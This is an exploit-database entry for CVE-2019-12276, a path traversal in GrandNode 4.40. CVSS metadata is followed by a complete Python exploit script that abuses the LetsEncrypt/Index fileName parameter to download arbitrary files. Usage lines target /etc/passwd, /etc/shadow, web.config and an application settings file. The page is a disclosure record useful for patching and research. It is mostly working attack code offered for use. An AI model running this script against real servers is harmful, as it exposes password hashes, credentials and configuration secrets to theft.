Exploitalert - Database of Exploits

GrandNode 4.40 Path Traversal / File Download

CVE	Category	Price	Severity
CVE-2019-12276	CWE-22	$500	High

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2019-06-28

CVSS	EPSS	EPSSP
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	High	PR	The attacker requires privileges that provide significant (e.g., administrative) control over the vulnerable system allowing full access to the vulnerable system’s settings and files.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2019060163

GrandNode 4.40 Path Traversal / File Download

# Exploit Title: GrandNode Path Traversal & Arbitrary File Download (Unauthenticated) # Date: 06/23/3019 # Exploit Author: Corey Robinson (https://twitter.com/CRobSec) # Vendor Homepage: https://grandnode.com/ # Software Link: https://github.com/grandnode/grandnode/archive/728ca1ea2f61aead7c8c443407096b0ef476e49e.zip # Version: <= v4.40 (before 5/30/2019) # Tested on: Ubuntu 18.04 # CVE: CVE-2019-12276 ''' CVE-2019-12276 A path traversal vulnerability in the LetsEncryptController allows remote unauthenticated users to view any files that the application has read/view permissions to. This vulnerability affects Windows and Unix operating systems. For more details, see: https://security401.com/grandnode-path-traversal/ ''' import requests import argparse def exploit(url, file): session = requests.Session() paramsGet = {"fileName":file} rawBody = "\r\n" response = session.get("{}/LetsEncrypt/Index".format(url), data=rawBody, params=paramsGet) if "UnauthorizedAccessException" in response.content or response.status_code == 500: print("Access to the path '{}' is denied.".format(file)) return content_length = int(response.headers['Content-Length']) if content_length == 0: print("The '{}' file was not found.".format(file)) else: print("-" *22) print(response.content) print("-" *22) if __name__ == "__main__": parser = argparse.ArgumentParser(description='GrandNode CVE-2019-12276 Path traversal & Arbitrary File Download') parser.add_argument('-u', action="store", dest="url", required=True, help='Target URL') parser.add_argument('-f', action="store", dest="file", required=True, help='The file to download') args = parser.parse_args() exploit(args.url, args.file) # python gn.py -u http://172.16.2.22:5001 -f "/etc/passwd" # python gn.py -u http://172.16.2.22:5001 -f "../../../App_Data/Settings.txt" # python gn.py -u http://172.16.2.22:5001 -f "/etc/shadow" # python gn.py -u http://172.16.2.22:5001 -f "../../../web.config"

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